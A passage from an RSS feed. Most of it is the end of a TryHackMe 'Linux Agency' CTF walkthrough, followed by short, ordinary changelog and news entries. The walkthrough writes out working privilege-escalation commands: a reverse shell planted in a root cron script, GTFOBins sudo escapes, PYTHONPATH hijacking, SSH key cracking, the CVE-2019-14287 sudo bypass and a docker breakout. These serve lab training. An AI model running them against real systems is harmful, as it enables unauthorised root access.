In real-world pentesting, exposed git repositories are a goldmine — credentials, API keys, and internal logic are frequently committed and never properly removed.</em></blockquote><h3>🔓 Task 4: Privilege Escalation</h3><p>You’re now <strong>viktor</strong>. The “special targets” phase begins — each user requires a different privilege escalation technique.</p><h3>🎯 Dalia — Cron Job Exploitation</h3><pre># As viktor:<br>cat /etc/crontab</pre><p>Output:</p><pre>* * * * * root bash /opt/scripts/47.sh</pre><p>Root runs /opt/scripts/47.sh every minute. Check the script and your permissions:</p><pre>cat /opt/scripts/47.sh<br>ls -la /opt/scripts/47.sh<br># You have write access!</pre><p><strong>Step 1:</strong> Create your reverse shell payload:</p><pre>vim /tmp/eop.sh</pre><p>Contents:</p><pre>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/127.0.0.1/9999 0&gt;&amp;1</pre><p><strong>Step 2:</strong> Base64-encode it and overwrite the cron script:</p><pre>cat /tmp/eop.sh | base64 -w 0<br># Copy the output, then:<br>echo 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx' | base64 -d &gt; /opt/scripts/47.sh</pre><p><strong>Step 3:</strong> Set up your listener:</p><pre>nc -nlvp 9999</pre><p>Wait up to 60 seconds. The cron job fires and you get a shell as <strong>dalia</strong>:</p><pre># In the received shell:<br>id<br># uid=1000(dalia) ...<br>cat /home/dalia/flag.txt</pre><p><strong>Upgrade the shell (important for stability):</strong></p><pre>python3 -c 'import pty;pty.spawn("/bin/bash")'<br>export TERM=xterm<br>export SHELL=bash<br># Press Ctrl+Z<br>stty raw -echo; fg</pre><p>Flag: dalia{4a94a7a7bb4a819a63a33979926c77dc}</p><blockquote><strong>💡 What we learned:</strong><em> Cron job exploitation — one of the most common Linux PrivEsc vectors in the wild. The checklist: find writable scripts executed by root → inject reverse shell → wait. Always enumerate </em><em>/etc/crontab, </em><em>/etc/cron.d/, and </em><em>/var/spool/cron/.</em></blockquote><h3>🎯 Silvio — sudo + zip (GTFOBins)</h3><pre># As dalia:<br>sudo -l<br># (dalia) NOPASSWD: /usr/bin/zip as silvio</pre><p>From GTFOBins — zip sudo escape:</p><pre>TF=$(mktemp -u)<br>sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'</pre><pre>id<br># uid=... (silvio)<br>cat /home/silvio/flag.txt</pre><p>Flag: silvio{657b4d058c03ab9988875bc937f9c2ef}</p><blockquote><strong>💡 What we learned:</strong><em> </em><a href="https://gtfobins.github.io/"><em>GTFOBins</em></a><em> — the essential reference for abusing binaries with sudo, SUID, or capabilities. When you see </em><em>sudo -l, immediately cross-reference every allowed binary against GTFOBins.</em></blockquote><h3>🎯 Reza — sudo + git (GTFOBins)</h3><pre># As silvio:<br>sudo -l<br># (silvio) NOPASSWD: /usr/bin/git as reza</pre><p>GTFOBins git sudo escape (uses PAGER environment variable):</p><pre>sudo -u reza PAGER='sh -c "exec sh 0&lt;&amp;1"' git -p help</pre><pre>id<br># uid=... (reza)<br>cat /home/reza/flag.txt</pre><p>Flag: reza{2f1901644eda75306f3142d837b80d3e}</p><blockquote><strong>💡 What we learned:</strong><em> Git’s </em><em>--paginate (</em><em>-p) feature invokes a pager, and by hijacking the </em><em>PAGER env variable we execute arbitrary commands. Many programs that invoke external processes are susceptible to this pattern.</em></blockquote><h3>🎯 Jordan — PYTHONPATH Hijacking</h3><pre># As reza:<br>sudo -l<br># (reza) NOPASSWD: /opt/scripts/Gun-Shop.py as jordan</pre><p>Run the script:</p><pre>sudo -u jordan /opt/scripts/Gun-Shop.py<br># Error: No module named 'shop'</pre><p>The script imports a module called shop which doesn't exist. We can create it in a directory we control:</p><p><strong>Step 1:</strong> Create a malicious shop module:</p><pre>mkdir -p /tmp/shop<br>echo 'import os; os.system("/bin/bash")' &gt; /tmp/shop/shop.py</pre><p><strong>Step 2:</strong> Override PYTHONPATH so Python finds our module first:</p><pre>sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py</pre><pre>id<br># uid=... (jordan)<br>cat /home/jordan/flag.txt</pre><p>Flag: jordan{fcbc4b3c31c9b58289b3946978f9e3c3}</p><blockquote><strong>💡 What we learned:</strong><em> Python module hijacking — a real-world PrivEsc technique. </em><em>PYTHONPATH tells Python where to search for modules before the standard library paths. If an attacker controls a directory early in that path, they can substitute any module with malicious code.</em></blockquote><h3>🎯 Ken — sudo + less (GTFOBins)</h3><pre># As jordan:<br>sudo -l<br># (jordan) NOPASSWD: /usr/bin/less as ken</pre><pre>sudo -u ken /usr/bin/less /etc/profile</pre><p>Once less opens, type ! followed by:</p><pre>!/bin/sh</pre><p>Press Enter — you drop into a shell as <strong>ken</strong>.</p><pre>id<br>cat /home/ken/flag.txt</pre><p>Flag: ken{4115bf456d1aaf012ed4550c418ba99f}</p><h3>🎯 Sean — sudo + vim (GTFOBins)</h3><pre># As ken:<br>sudo -l<br># (ken) NOPASSWD: /usr/bin/vim as sean</pre><pre>sudo -u sean vim -c ':!/bin/sh'</pre><p>The -c flag runs a Vim command on startup. :!/bin/sh executes a shell command from within Vim.</p><pre>id<br>cat /home/sean/flag.txt</pre><p>Flag: sean{4c5685f4db7966a43cf8e95859801281}</p><blockquote><strong>💡 What we learned:</strong><em> Vim is far more than a text editor — it can execute shell commands, run scripts, and spawn processes. Granting </em><em>sudo vim to any user is effectively granting root.</em></blockquote><h3>🎯 Penelope — Password Hidden in Base64</h3><pre># As sean:<br>printf %s 'VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==' | base64 -d<br># Output: "The password of penelope is p3nelope"</pre><pre>su penelope<br># Password: p3nelope<br>cat /home/penelope/flag.txt</pre><p>Flag: penelope{2da1c2e9d2bd0004556ae9e107c1d222}</p><h3>🎯 Maya — SUID base64 (GTFOBins)</h3><pre># As penelope:<br>ls -lhA /home/penelope/<br># A 'base64' binary with the SUID bit set!</pre><p>GTFOBins SUID base64 exploit — read files as the binary’s owner:</p><pre>LFILE=/home/maya/flag.txt<br>./base64 "$LFILE" | base64 -d</pre><p>Flag: maya{a66e159374b98f64f89f7c8d458ebb2b}</p><blockquote><strong>💡 What we learned:</strong><em> SUID (Set User ID) — when set on a binary, it executes with the file owner’s privileges rather than the caller’s. Find SUID binaries with: </em><em>find / -perm -4000 2&gt;/dev/null. Cross-reference every result with GTFOBins.</em></blockquote><h3>🎯 Robert — SSH Private Key Cracking</h3><pre># As maya:<br>ls -lhA /home/maya/<br>ls -lhA /home/maya/old_robert_ssh/<br># id_rsa and id_rsa.pub found</pre><p><strong>Step 1:</strong> Copy the private key to your local machine (new terminal tab):</p><pre>scp maya@&lt;IP&gt;:/home/maya/old_robert_ssh/id_rsa ./id_rsa_robert<br>chmod 600 id_rsa_robert</pre><p><strong>Step 2:</strong> Convert the key to a crackable hash:</p><pre>ssh2john id_rsa_robert &gt; robert_ssh_hash.txt</pre><p><strong>Step 3:</strong> Crack it with John the Ripper:</p><pre>john robert_ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><p><strong>Result:</strong> industryweapon</p><p><strong>Step 4:</strong> Find Robert’s SSH port on the target:</p><pre># On the target machine:<br>ss -nlpt | grep 22<br># Port 2222 is listening</pre><p><strong>Step 5:</strong> Connect:</p><pre>ssh robert@127.0.0.1 -p 2222 -i id_rsa_robert<br># Passphrase: industryweapon<br>cat /home/robert/user.txt</pre><p>Flag (user.txt): user{620fb94d32470e1e9dcf8926481efc96}</p><blockquote><strong>💡 What we learned:</strong><em> SSH private key cracking — </em><em>ssh2john extracts the hash, </em><em>john cracks it. In real engagements, always look for </em><em>id_rsa files in home directories, backup folders, and </em><em>.ssh/ directories. Encrypted keys with weak passphrases are a common finding.</em></blockquote><h3>👑 Root — Two-Stage Escalation</h3><h3>Stage 1: CVE-2019–14287 (Sudo User ID Bypass)</h3><pre># As robert:<br>sudo --version<br># Reveals a vulnerable version (&lt; 1.8.28)<br>sudo -u#-1 /bin/bash<br>whoami<br># root!</pre><p><strong>How it works:</strong> This is <strong>CVE-2019–14287</strong>. When a sudoers rule allows a user to run commands as any user, passing -u#-1 causes sudo to interpret the user ID as 0 (root) due to an integer overflow in how sudo handles negative UIDs. Patched in sudo 1.8.28.</p><pre>cd /root<br>ls</pre><h3>Stage 2: Docker Group → Root (root.txt)</h3><pre># As root (inside the container/restricted environment):<br>id<br># You're in the docker group<br>find / -name docker 2&gt;/dev/null<br># Found at /tmp/docker or similar<br>./docker ps -a<br>./docker image ls<br># "mangoman" image exists</pre><p>Mount the host filesystem into a container and chroot into it:</p><pre>./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh</pre><pre>id<br># uid=0(root) gid=0(root) — TRUE host root<br>cat /root/root.txt</pre><p>Flag (root.txt): root{62ca2110ce7df377872dd9f0797f8476}</p><blockquote><strong>💡 What we learned:</strong><em> Docker group membership is equivalent to root access. </em><em>-v /:/mnt mounts the entire host filesystem into the container, and </em><em>chroot /mnt makes the container treat the host filesystem as its root. This is a well-documented container escape — never add untrusted users to the </em><em>docker group.</em></blockquote><h3>🏆 Flags Summary</h3><p>User Technique Category mission1–11 find / grep / cat Basic enumeration mission12 env Environment variables mission13 chmod File permissions mission14 base64 -d Encoding mission15 Binary → ASCII Encoding mission16 xxd -r -p (Hex) Encoding mission17 chmod u+x Execute permissions mission18 javac + java Java compilation mission19 ruby Scripting mission20 gcc C compilation mission21 python3 Scripting mission22 script -qc Restricted shell escape mission23 pty.spawn() Python interpreter escape mission24 curl + /etc/hosts Virtual hosting mission25 strings + .viminfo Binary analysis mission26 export PATH PATH manipulation mission27 strings on image Steganography mission28 less Long filename edge case mission29 exec in Ruby + .reverse Ruby escape + obfuscation mission30 grep -r in CMS File enumeration viktor git log Git history dalia Writable cron script Cron job exploitation silvio sudo zip GTFOBins reza sudo git + PAGER GTFOBins jordan PYTHONPATH hijack Module hijacking ken sudo less + ! GTFOBins sean sudo vim -c GTFOBins penelope Base64 password Encoded credentials maya SUID base64 SUID exploitation robert ssh2john + john SSH key cracking root (user.txt) sudo -u#-1 CVE-2019-14287 root (root.txt) docker run -v /:/mnt Docker breakout</p><h3>🧠 Key Takeaways</h3><p><strong>Linux Fundamentals:</strong></p><ul><li>ls -la always — hidden files, permissions at a glance</li><li>find and grep -r for wide enumeration</li><li>env for environment variable inspection</li><li>file to identify file types regardless of extension</li><li>strings to extract readable data from binaries</li></ul><p><strong>Encoding &amp; Decoding:</strong></p><ul><li>Base64 (base64 -d), Hex (xxd -r -p), Binary (Python one-liner)</li><li>Reversed strings — check file content and filenames alike</li></ul><p><strong>Scripting Languages:</strong></p><ul><li>Python: pty.spawn("/bin/bash") for shell upgrade</li><li>Ruby: exec "/bin/bash" or Dir/File for file ops</li><li>Java: javac → java, C: gcc → ./binary</li></ul><p><strong>Privilege Escalation Checklist:</strong></p><ol><li>sudo -l → GTFOBins</li><li>find / -perm -4000 2&gt;/dev/null → SUID binaries → GTFOBins</li><li>cat /etc/crontab + ls /etc/cron.d/ → writable scripts run by root</li><li>id → check group memberships (docker!)</li><li>Check $PATH, env variables, writable directories in PATH</li></ol><h3>📚 Resources</h3><ul><li>🔗 <a href="https://gtfobins.github.io/">GTFOBins</a> — sudo/SUID binary exploitation reference</li><li>🔗 <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">PayloadsAllTheThings — Reverse Shell Cheatsheet</a></li><li>🔗 <a href="https://www.exploit-db.com/exploits/47502">Exploit-DB: CVE-2019–14287</a></li><li>🔗 <a href="https://tryhackme.com/room/sudovulnsbypass">TryHackMe: Sudo Security Bypass</a></li><li>🔗 <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation">HackTricks: Docker Breakout</a></li><li>🔗 <a href="https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html">RapidTables Converter</a></li></ul><h3>💬 Final Thoughts</h3><p><strong>Linux Agency</strong> is not just a CTF room — it’s a condensed simulation of a real lateral movement and privilege escalation engagement. The 30-user chain forces you to internalize Linux enumeration as a reflex, not a checklist. The privilege escalation phase covers more ground than most dedicated PrivEsc rooms.</p><p>If you’re preparing for <strong>OSCP</strong>, <strong>CPTS</strong> or any practical security certification, this room belongs in your training regimen. Do it without hints first, refer to this write-up only when truly stuck — the struggle is where the learning happens.</p><p><em>Happy Hacking! 🐧</em></p><p><em>Tags: #TryHackMe #CTF #LinuxAgency #PrivilegeEscalation #Linux #Pentesting #CyberSecurity #OSCP #GTFOBins #WriteUp</em></p><p><em>If you found this useful, feel free to connect on </em><a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a><em> or check out my tools on </em><a href="https://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=82a20bd23d67" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-linux-agency-complete-write-up-walkthrough-82a20bd23d67">TryHackMe — Linux Agency | Complete Write-Up &amp; Walkthrough</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.212]]></title>
<description><![CDATA[What's changed

/fork now copies your conversation into a new background session (its own row in claude agents) while you keep working; the in-session subagent it used to launch is now /subtask
Added claude auto-mode reset to restore the default auto-mode configuration, with a confirmation prompt...]]></description>
<link>https://tsecurity.de/de/3674861/downloads/v21212/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674861/downloads/v21212/</guid>
<pubDate>Fri, 17 Jul 2026 02:31:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li><code>/fork</code> now copies your conversation into a new background session (its own row in <code>claude agents</code>) while you keep working; the in-session subagent it used to launch is now <code>/subtask</code></li>
<li>Added <code>claude auto-mode reset</code> to restore the default auto-mode configuration, with a confirmation prompt (pass <code>--yes</code> to skip)</li>
<li>Added a session-wide limit on WebSearch tool calls (default 200, tunable via <code>CLAUDE_CODE_MAX_WEB_SEARCHES_PER_SESSION</code>) to stop runaway search loops</li>
<li>Added a per-session cap on subagent spawns (default 200, override with <code>CLAUDE_CODE_MAX_SUBAGENTS_PER_SESSION</code>) to stop runaway delegation loops; <code>/clear</code> resets the budget</li>
<li>MCP tool calls running longer than 2 minutes now move to the background automatically so the session stays usable; configure the threshold or disable with <code>CLAUDE_CODE_MCP_AUTO_BACKGROUND_MS</code></li>
<li>Typing <code>/resume</code> in the agent view now opens a picker of past sessions — including sessions deleted from the list — and resumes your pick as a background session</li>
<li>Fixed plan mode auto-running file-modifying Bash commands (e.g. <code>touch</code>, <code>rm</code>) without a permission prompt or SDK <code>canUseTool</code> callback</li>
<li>Fixed worktree creation following a repository-committed symlink at <code>.claude/worktrees</code>, which could create files outside the repository</li>
<li>Fixed a <code>continue:false</code> hook's halt being dropped when the tool fails or completes mid-stream, and hook infrastructure errors being misreported as user rejections</li>
<li>Fixed SIGTERM during a running Bash tool orphaning the command's process tree in print/SDK mode; the CLI now aborts the turn, kills the tree, and exits 143</li>
<li>Fixed <code>/background</code> and <code>claude --bg</code> failing with "EUNKNOWN: unknown error, uv_spawn" on Windows when Group Policy blocks PowerShell 5.1; the daemon now prefers PowerShell 7</li>
<li>Fixed shell mode (<code>!</code>) not executing commands containing file paths while the path autocomplete popup was open</li>
<li>Fixed auto-mode denial notifications rendering broken characters when a long denial reason was truncated mid-emoji</li>
<li>Fixed Ctrl+J not inserting a newline in the agent view dispatch input on terminals with extended key reporting, and surfaced the newline shortcut in the <code>?</code> help overlay</li>
<li>Fixed <code>/ultrareview</code> rejecting PR references like <code>#123</code>, <code>PR 123</code>, and pasted PR URLs; error hints now name the command you actually typed</li>
<li>Fixed <code>/ultrareview &lt;branch&gt;</code> not fetching the branch from origin when it exists remotely; it now suggests the closest branch name on typos</li>
<li>Fixed <code>/ultrareview</code> skipping the billing confirmation in a new conversation after <code>/clear</code></li>
<li>Fixed <code>/ultrareview</code>'s "not a git repository" error on Claude Desktop now suggesting the project's repository folder instead of terminal commands</li>
<li>Fixed hosted (host-managed) sessions failing at startup when repository settings configured mTLS certs, extra CA bundles, or OAuth scopes; these transport settings are now ignored with a warning</li>
<li>Fixed a spurious "File has not been read yet" error when editing a file that had been read with offset/limit before resuming a session</li>
<li>Fixed <code>ExitWorktree</code> failing with "no active EnterWorktree session" after resuming a session with <code>--continue</code>/<code>--resume</code> in print/SDK mode</li>
<li>Fixed the workflow agent grid staying empty for Remote Control clients that join a session mid-run</li>
<li>Fixed streaming-mode control requests being marked complete before their handler finished, which could lose the request on session restart</li>
<li>Fixed background sessions created with <code>/fork</code> losing their live-parent protection after a state write failure</li>
<li>Fixed reopening a stopped background session from the agent view failing silently — it now resumes the session, or shows why it can't and lets you force a restart</li>
<li>Fixed agent teams: a stopping teammate could send the leader duplicate idle notifications when team initialization re-ran within a session</li>
<li>Fixed the plan-approval dialog footer splitting "ctrl+g to edit in " apart when the file path is long</li>
<li>Fixed the welcome banner keeping its old panel widths after a combined width+height terminal resize in fullscreen mode</li>
<li>Fixed diff previews losing their line numbers and +/- markers in narrow layouts</li>
<li>Fixed @-mentions attaching nothing after a partial file read, plugin uninstall targeting the wrong marketplace, and false "Command timed out" on exit code 143</li>
<li>Fixed OpenTelemetry HTTP exports being rejected with 411/400 by Azure Monitor and other endpoints that don't accept chunked transfer encoding</li>
<li>Fixed OTLP event log records missing <code>trace_id</code>/<code>span_id</code> when <code>TRACEPARENT</code> is set in SDK/headless mode</li>
<li>Fixed conversations with many images incorrectly failing with "Request too large" errors, and improved the error message to explain the actual cause</li>
<li>Fixed web search and web fetch returning "API Error" text as search results or page content when the API was overloaded</li>
<li>Improved web search and web fetch reliability by retrying 529 errors and rate-limited requests with bounded backoff</li>
<li>Improved prompt caching: the mid-conversation system block now works behind LLM gateways and custom base URLs (Bedrock, Vertex, 1P)</li>
<li>Improved background agent attach: cold-attaching now instantly shows the formatted transcript while the session boots, instead of a blank wait</li>
<li>Reduced token usage in inter-agent messaging: <code>SendMessage</code> bodies are no longer duplicated into replayed history and tool results</li>
<li>Changed <code>/fork</code> to name the copy after your prompt when the session has no title, so the row is recognizable in the agent view</li>
<li>Changed bare <code>/btw</code> to reopen the side-question panel on your most recent exchange so you can browse earlier answers</li>
<li>Changed the <code>←</code> footer hint to pulse <code>N done</code> for a moment when a background agent finishes while nothing needs your input</li>
<li>Deprecated the Task tool's <code>mode</code> parameter (now ignored); subagents inherit the parent session's permission mode by default</li>
<li>Changed Enterprise <code>forceLoginMethod</code> to be enforced for VS Code extension, SDK, <code>setup-token</code>, and <code>install-github-app</code> logins, not just the terminal</li>
<li>Changed session transcripts to record the reasoning effort level on each assistant message</li>
<li>Changed headless/SDK sessions to apply a <code>set_model</code> control request mid-turn; the next model round-trip uses the new model instead of waiting for the next turn</li>
<li>Changed agent view / <code>claude agents --json</code>: sessions waiting on a sandbox, MCP-input, or managed-settings prompt now show as "Needs input" instead of "Working"</li>
<li>Updated the auth status panel title from "Cloud authentication" to "Authentication"</li>
<li>Corrected an earlier release note (2.1.200): tmux through the 3.6 series lacks synchronized output; newer tmux with support is detected automatically</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Gov Tech Helps Nevada Protect Its SNAP Program]]></title>
<description><![CDATA[States with high error rates for the food assistance program face severe cuts in funding for SNAP. A Nevada official talks about how new software is helping her state stay ahead of the curve.]]></description>
<link>https://tsecurity.de/de/3674780/ai-nachrichten/how-gov-tech-helps-nevada-protect-its-snap-program/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674780/ai-nachrichten/how-gov-tech-helps-nevada-protect-its-snap-program/</guid>
<pubDate>Fri, 17 Jul 2026 00:47:23 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[States with high error rates for the food assistance program face severe cuts in funding for SNAP. A Nevada official talks about how new software is helping her state stay ahead of the curve.]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.387.0]]></title>
<description><![CDATA[What's Changed

Type the gradle, swift, and pre_commit ecosystems by @JamieMagee in #15534
Default cooldown to 3 days when default-days is not specified (behind a feature flag) by @robaiken with @Copilot in #15344
Use shared base cooldown in git_submodules by @robaiken in #15537
[Update graph] Av...]]></description>
<link>https://tsecurity.de/de/3674606/it-security-tools/v03870/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674606/it-security-tools/v03870/</guid>
<pubDate>Thu, 16 Jul 2026 22:33:50 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Type the gradle, swift, and pre_commit ecosystems by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4834841548" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15534" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15534/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15534">#15534</a></li>
<li>Default cooldown to 3 days when default-days is not specified (behind a feature flag) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4684952757" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15344" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15344/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15344">#15344</a></li>
<li>Use shared base cooldown in git_submodules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4837613550" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15537" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15537/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15537">#15537</a></li>
<li>[Update graph] Avoid PathDependenciesNotReachable killing the whole job by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brrygrdn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brrygrdn">@brrygrdn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830807905" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15522" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15522/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15522">#15522</a></li>
<li>[Update Graph] Ensure that txt/in pairs are included properly in layers when working out references by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brrygrdn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brrygrdn">@brrygrdn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4884201019" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15581" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15581/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15581">#15581</a></li>
<li>build(deps): bump opentofu to 1.12.1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RinseV/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RinseV">@RinseV</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597635124" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15231" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15231/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15231">#15231</a></li>
<li>Type the Sentry before_send processors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4879702128" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15569" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15569/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15569">#15569</a></li>
<li>Clear T.untyped from four strong updater files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4879809730" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15570" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15570/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15570">#15570</a></li>
<li>feat(opentofu): use registry API for multi-platform lockfile hashes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/diofeher/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/diofeher">@diofeher</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651320321" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15296" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15296/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15296">#15296</a></li>
<li>julia: various fixes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IanButterworth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IanButterworth">@IanButterworth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4851258737" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15549" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15549/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15549">#15549</a></li>
<li>Type git_metadata_fetcher's git responses by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4879876600" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15572" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15572/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15572">#15572</a></li>
<li>pre-commit: add regression tests for prerelease version filtering by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/v-HaripriyaC/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/v-HaripriyaC">@v-HaripriyaC</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840941300" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15542" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15542/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15542">#15542</a></li>
<li>add test ensuring duplicate PRs aren't submitted in security jobs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brettfo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brettfo">@brettfo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4887247831" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15584" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15584/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15584">#15584</a></li>
<li>Clear T.untyped from already-strong ecosystem files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4880025222" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15573" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15573/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15573">#15573</a></li>
<li>Update branch name case values to align with schema accepted values by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AbhishekBhaskar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AbhishekBhaskar">@AbhishekBhaskar</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4896350580" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15592" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15592/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15592">#15592</a></li>
